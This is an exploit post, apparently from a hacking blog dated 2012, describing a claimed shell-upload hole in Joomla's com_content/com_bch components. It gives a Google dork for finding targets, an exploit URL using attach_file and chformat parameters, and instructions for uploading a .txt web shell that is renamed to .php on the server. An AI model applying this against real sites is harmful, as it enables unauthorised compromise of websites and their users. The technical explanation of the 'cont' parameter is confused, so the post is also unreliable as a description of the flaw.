JOOMLA BCH AND CONTENT SHELL UPLOAD

[ Joomla com_content Shell Upload Vulnerability]

[x] Author : Agd_Scorp
[x] Home : http://www.turkguvenligi.info (former)
[x] E-mail : vorscorp@hotmail.com
[x] Found : Mon, Dec 24, 2012
[x] Tested : Windows 7, Ubuntu, Gentoo
[x] Dork : inurl:"/index.php?option=com_bch"
________________________________________________________________
****************************************************************

[x] The Conlusion
The vulnerability resides at 'cont' parameter, which is often used for reconnecting the SQL database to the website in-order to gain information that is being provided by the administrator, although, if a few parameters are added as an extention-act, files can be uploaded, and therefore, more risk shall occur.

[x] Vuln Exploit Report:
http://localhost/index.php?option=com_content&cont=sendfile?controller&attach_file=[FILE LINK]&chformat=php (or any other you want it to change into)

[x] Uploading a Shell
First, change your shell's format into .txt, then extract into that, when uploaded, and chformat parameter is added, it will be automatically be changed into *.php, therefore, your shell is spawned.

Posted in: Hacking